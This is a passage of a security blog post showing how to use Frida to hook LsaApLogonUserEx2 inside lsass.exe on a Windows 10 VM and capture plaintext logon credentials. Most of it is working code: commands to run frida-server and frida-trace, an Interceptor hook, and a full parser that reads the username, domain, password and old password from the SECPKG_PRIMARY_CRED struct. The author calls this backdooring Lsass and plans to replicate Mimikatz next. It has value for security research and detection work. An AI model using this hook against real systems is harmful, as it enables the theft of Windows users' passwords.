<p>To start with, I spun up a Windows 10 VM and launched the latest version of Frida server as Administrator:</p>

<div class="language-powershell highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="err">&gt;</span><span class="w"> </span><span class="o">.</span><span class="n">\frida-server.exe</span><span class="w"> </span><span class="nt">-l</span><span class="w"> </span><span class="nx">0.0.0.0</span><span class="w">
</span></code></pre></div></div>

<p>This opens a debugging server on port 27042, which we can connect to using Frida:</p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nv">$ </span>frida <span class="nt">-H</span> 192.168.1.120 lsass.exe
</code></pre></div></div>

<p>One of Frida’s most powerful features is its dynamic instrumentation functionality, which lets us hook almost any function used by a process. Before we can do that, though, we’ll need some basic situational awareness. There are a lot of different modules loaded by the <em>lsass.exe</em> process, which we can enumerate using <code class="language-plaintext highlighter-rouge">Process.enumerateModules()</code>. Here’s just one of the results:</p>

<div class="language-text highlighter-rouge"><div class="highlight"><pre class="highlight"><code>    {
        "base": "0x7ffd1ca30000",
        "name": "msv1_0.DLL",
        "path": "C:\\Windows\\system32\\msv1_0.DLL",
        "size": 483328
    },
</code></pre></div></div>

<p>Out of the many possible options, this one stands out - it’s the Microsoft Authentication Package, which is invoked by LSA when a user performs an interactive logon. According to <a href="https://learn.microsoft.com/en-us/windows/win32/secauthn/msv1-0-authentication-package">Microsoft’s documentation</a>:</p>

<blockquote>
  <p>The MSV1_0 package checks the local security accounts manager (SAM) database to determine whether the logon data belongs to a valid security principal and then returns the result of the logon attempt to the LSA.</p>
</blockquote>

<p>If we’re looking to hook into the authentication logic called by Lsass, this seems like a pretty good place to start.</p>

<h2 id="step-2-hooking-msv1_0">Step 2: Hooking MSV1_0</h2>

<p>So, now we have a good idea of which module we want to target, but how do we know which functions to hook in order to extract credentials? This is where <em>frida-trace</em> comes to the rescue. Instead of writing dozens of boilerplate scripts to inject into each possible function, we can simply specify the module we’re interested in and hook all functions within it:</p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>frida-trace <span class="nt">-H</span> 192.168.1.120 lsass.exe <span class="nt">-i</span> <span class="s1">'msv1_0.DLL!*'</span>
</code></pre></div></div>

<p>We leave this running while we invoke an interactive logon somewhere on the target VM (i.e. using the <em>runas</em> command), and sure enough:</p>

<p><img src="/img/tracing-msv1_0.png" alt="a screenshot of various hooked functions including LsaApLogonUserEx2" /></p>

<p>I decided to go with the obvious choice here, and target the <em>LsaApLogonUserEx2()</em> function. Luckily for us, this function is actually <a href="https://docs.microsoft.com/en-us/windows/win32/api/ntsecpkg/nc-ntsecpkg-lsa_ap_logon_user_ex2">documented in the MSDN</a>. That will make hooking it a lot easier, as we know exactly what the arguments and expected return values are.</p>

<div class="language-text highlighter-rouge"><div class="highlight"><pre class="highlight"><code>LSA_AP_LOGON_USER_EX2 LsaApLogonUserEx2;

NTSTATUS LsaApLogonUserEx2(
  [in]  PLSA_CLIENT_REQUEST ClientRequest,
  [in]  SECURITY_LOGON_TYPE LogonType,
  [in]  PVOID ProtocolSubmitBuffer,
  [in]  PVOID ClientBufferBase,
  [in]  ULONG SubmitBufferSize,
  [out] PVOID *ProfileBuffer,
  [out] PULONG ProfileBufferSize,
  [out] PLUID LogonId,
  [out] PNTSTATUS SubStatus,
  [out] PLSA_TOKEN_INFORMATION_TYPE TokenInformationType,
  [out] PVOID *TokenInformation,
  [out] PUNICODE_STRING *AccountName,
  [out] PUNICODE_STRING *AuthenticatingAuthority,
  [out] PUNICODE_STRING *MachineName,
  [out] PSECPKG_PRIMARY_CRED PrimaryCredentials,
  [out] PSECPKG_SUPPLEMENTAL_CRED_ARRAY *SupplementalCredentials
)
</code></pre></div></div>

<p>Armed with this information, we can see that the thing we probably care about is the <em>PrimaryCredentials</em> variable, which is the 15th argument passed to the function. Now we know enough to write our own Frida script:</p>

<div class="language-text highlighter-rouge"><div class="highlight"><pre class="highlight"><code>var msv = Process.getModuleByName("msv1_0.DLL");
var logonUser = msv.getExportByName("LsaApLogonUserEx2");

Interceptor.attach(logonUser, {
	onEnter: function(args) {
		this.primaryCredentials = args[14];
	},
	onLeave: function(retval) {
		console.log("Address of primary credentials is " + this.primaryCredentials);
	}
});
</code></pre></div></div>

<p>So far, the script is pretty simple. We identify the address of the function and attach to it with Frida’s Interceptor. When the function is entered, we save the address of the PrimaryCredentials array. When the function exits, we print the address. To test it out, simply inject the script into Frida:</p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nv">$ </span>frida <span class="nt">-H</span> 192.168.1.120 lsass.exe <span class="nt">-l</span> LsaApLogonUserEx2.js
</code></pre></div></div>

<p>And invoke another interactive logon.</p>

<h2 id="step-3-parsing-primarycredentials">Step 3: Parsing PrimaryCredentials</h2>

<p>So, now we can hook the <em>LsaApLogonUserEx2()</em> function and get a pointer to the PrimaryCredentials structure. How do we turn that into actual credential information? The PrimaryCredentials structure is of type <em>PSECPKG_PRIMARY_CRED</em>, which means it’s a pointer to a <em>SECPKG_PRIMARY_CRED</em> struct. Happily for us, that struct is <a href="https://docs.microsoft.com/en-us/windows/win32/api/ntsecpkg/ns-ntsecpkg-secpkg_primary_cred">documented for us as well</a>:</p>

<div class="language-text highlighter-rouge"><div class="highlight"><pre class="highlight"><code>typedef struct _SECPKG_PRIMARY_CRED {
  LUID           LogonId;
  UNICODE_STRING DownlevelName;
  UNICODE_STRING DomainName;
  UNICODE_STRING Password;
  UNICODE_STRING OldPassword;
  PSID           UserSid;
  ULONG          Flags;
  UNICODE_STRING DnsDomainName;
  UNICODE_STRING Upn;
  UNICODE_STRING LogonServer;
  UNICODE_STRING Spare1;
  UNICODE_STRING Spare2;
  UNICODE_STRING Spare3;
  UNICODE_STRING Spare4;
} SECPKG_PRIMARY_CRED, *PSECPKG_PRIMARY_CRED;
</code></pre></div></div>

<p>This gives us all the information we need to write our own parser in Frida. We can “walk” through the struct by starting from our pointer and adding the size of each struct member to get to the next one. For example, the size of a <em>LUID</em> struct is 0x8, so we can do:</p>

<div class="language-javascript highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="kd">var</span> <span class="nx">logonId</span> <span class="o">=</span> <span class="k">this</span><span class="p">.</span><span class="nx">primaryCredentials</span><span class="p">;</span>
<span class="kd">var</span> <span class="nx">downLevelName</span> <span class="o">=</span> <span class="nx">logonId</span><span class="p">.</span><span class="nx">add</span><span class="p">(</span><span class="mh">0x8</span><span class="p">);</span>
</code></pre></div></div>

<p>By iterating through in this way, we can eventually get pointers to the members we actually care about: <em>DownLevelName</em>, <em>DomainName</em>, <em>Password</em> and <em>OldPassword</em>. Each of these elements is a <em>UNICODE_STRING</em> struct, which requires a bit of parsing themselves. The final parsing function is as follows:</p>

<div class="language-javascript highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="kd">function</span> <span class="nx">parsePrimaryCredentials</span><span class="p">(</span><span class="nx">ptr</span><span class="p">)</span> <span class="p">{</span>
	<span class="c1">// Parse the SECPKG_PRIMARY_CRED structure pass to LsaApLogonUserEx2. 64-bit only.</span>
	<span class="c1">// Input: a pointer to the SECPKG_PRIMARY_CRED structure to be parsed.</span>
	
	<span class="kd">var</span> <span class="nx">size_luid</span> <span class="o">=</span> <span class="mh">0x8</span><span class="p">;</span> <span class="c1">// https://docs.microsoft.com/en-us/windows-hardware/drivers/ddi/igpupvdev/ns-igpupvdev-_luid</span>
	<span class="kd">var</span> <span class="nx">size_unicode_string</span> <span class="o">=</span> <span class="mh">0x10</span><span class="p">;</span> <span class="c1">// https://www.geoffchappell.com/studies/windows/km/ntoskrnl/inc/shared/ntdef/unicode_string.htm</span>
	
	<span class="c1">// Reference for struct members:</span>
	<span class="c1">// https://docs.microsoft.com/en-us/windows/win32/api/ntsecpkg/ns-ntsecpkg-secpkg_primary_cred</span>

	<span class="c1">// Calculate the address of each member by adding the sizeof the previous member.</span>
	<span class="kd">var</span> <span class="nx">logonId</span> <span class="o">=</span> <span class="nx">ptr</span><span class="p">;</span>
	<span class="kd">var</span> <span class="nx">downLevelName</span> <span class="o">=</span> <span class="nx">logonId</span><span class="p">.</span><span class="nx">add</span> <span class="p">(</span> <span class="nx">size_luid</span> <span class="p">);</span>
	<span class="kd">var</span> <span class="nx">domainName</span> <span class="o">=</span> <span class="nx">downLevelName</span><span class="p">.</span><span class="nx">add</span><span class="p">(</span> <span class="nx">size_unicode_string</span> <span class="p">);</span>
	<span class="kd">var</span> <span class="nx">password</span> <span class="o">=</span> <span class="nx">domainName</span><span class="p">.</span><span class="nx">add</span><span class="p">(</span> <span class="nx">size_unicode_string</span> <span class="p">);</span>
	<span class="kd">var</span> <span class="nx">oldPassword</span> <span class="o">=</span> <span class="nx">password</span><span class="p">.</span><span class="nx">add</span><span class="p">(</span> <span class="nx">size_unicode_string</span> <span class="p">);</span>

	<span class="c1">// Read the length from each unicode string. Divide by 2 because we are reading UTF 16 strings.</span>
	<span class="c1">// Length is located at offset 0x0 in the UNICODE_STRING struct.</span>
	<span class="kd">var</span> <span class="nx">downLevelNameLength</span> <span class="o">=</span> <span class="nx">downLevelName</span><span class="p">.</span><span class="nx">readUShort</span><span class="p">()</span> <span class="o">/</span> <span class="mi">2</span><span class="p">;</span>
	<span class="kd">var</span> <span class="nx">domainNameLength</span> <span class="o">=</span> <span class="nx">domainName</span><span class="p">.</span><span class="nx">readUShort</span><span class="p">()</span> <span class="o">/</span> <span class="mi">2</span><span class="p">;</span>
	<span class="kd">var</span> <span class="nx">passwordLength</span> <span class="o">=</span> <span class="nx">password</span><span class="p">.</span><span class="nx">readUShort</span><span class="p">()</span> <span class="o">/</span> <span class="mi">2</span><span class="p">;</span>
	<span class="kd">var</span> <span class="nx">oldPasswordLength</span> <span class="o">=</span> <span class="nx">oldPassword</span><span class="p">.</span><span class="nx">readUShort</span><span class="p">()</span> <span class="o">/</span> <span class="mi">2</span><span class="p">;</span>

	<span class="c1">// Use the length values to read the correct number of bytes from each unicode string.</span>
	<span class="c1">// Buffer is located at offset 0x8 in the UNICODE_STRING struct.</span>
	<span class="kd">var</span> <span class="nx">downLevelNameBuffer</span> <span class="o">=</span> <span class="nx">downLevelName</span><span class="p">.</span><span class="nx">add</span><span class="p">(</span><span class="mh">0x8</span><span class="p">).</span><span class="nx">readPointer</span><span class="p">().</span><span class="nx">readUtf16String</span><span class="p">(</span><span class="nx">downLevelNameLength</span><span class="p">);</span>
	<span class="kd">var</span> <span class="nx">domainNameBuffer</span> <span class="o">=</span> <span class="nx">domainName</span><span class="p">.</span><span class="nx">add</span><span class="p">(</span><span class="mh">0x8</span><span class="p">).</span><span class="nx">readPointer</span><span class="p">().</span><span class="nx">readUtf16String</span><span class="p">(</span><span class="nx">domainNameLength</span><span class="p">);</span>
	<span class="kd">var</span> <span class="nx">passwordBuffer</span> <span class="o">=</span> <span class="nx">password</span><span class="p">.</span><span class="nx">add</span><span class="p">(</span><span class="mh">0x8</span><span class="p">).</span><span class="nx">readPointer</span><span class="p">().</span><span class="nx">readUtf16String</span><span class="p">(</span><span class="nx">passwordLength</span><span class="p">);</span>
	<span class="kd">var</span> <span class="nx">oldPasswordBuffer</span> <span class="o">=</span> <span class="nx">oldPassword</span><span class="p">.</span><span class="nx">add</span><span class="p">(</span><span class="mh">0x8</span><span class="p">).</span><span class="nx">readPointer</span><span class="p">().</span><span class="nx">readUtf16String</span><span class="p">(</span><span class="nx">oldPasswordLength</span><span class="p">);</span>

	<span class="c1">//Return results.</span>
	<span class="kd">var</span> <span class="nx">output</span> <span class="o">=</span> <span class="p">{</span>
		<span class="dl">"</span><span class="s2">sam_account</span><span class="dl">"</span><span class="p">:</span> <span class="nx">downLevelNameBuffer</span><span class="p">,</span>
		<span class="dl">"</span><span class="s2">domain</span><span class="dl">"</span><span class="p">:</span> <span class="nx">domainNameBuffer</span><span class="p">,</span>
		<span class="dl">"</span><span class="s2">password</span><span class="dl">"</span><span class="p">:</span> <span class="nx">passwordBuffer</span><span class="p">,</span>
		<span class="dl">"</span><span class="s2">old_password</span><span class="dl">"</span><span class="p">:</span> <span class="nx">oldPasswordBuffer</span>
	<span class="p">}</span>
	<span class="k">return</span> <span class="nx">output</span><span class="p">;</span>
<span class="p">}</span>
</code></pre></div></div>

<p>And the final result when running it against my Windows 10 VM and initiating an interactive logon:</p>

<p><img src="/img/dumping-msv1_0.png" alt="a screenshot of dumped credentials from a user logon" /></p>

<h2 id="conclusion">Conclusion</h2>

<p>Hooking functions and changing their behaviour is Frida’s bread and butter, and we’ve demonstrated just how easy it is to backdoor Lsass with Frida. All you need to do so is a little bit of Javascript, a little bit of C struct knowledge, and local admin. In the next part, we’ll move away from hooking functions. Instead, we’ll look into replicating Mimikatz functionality by extracting credentials directly from memory.</p>]]></content><author><name>Callum Murphy-Hale</name></author><summary type="html"><![CDATA[A blog about dynamic instrumentation of Lsass for fun and profit!]]></summary></entry></feed>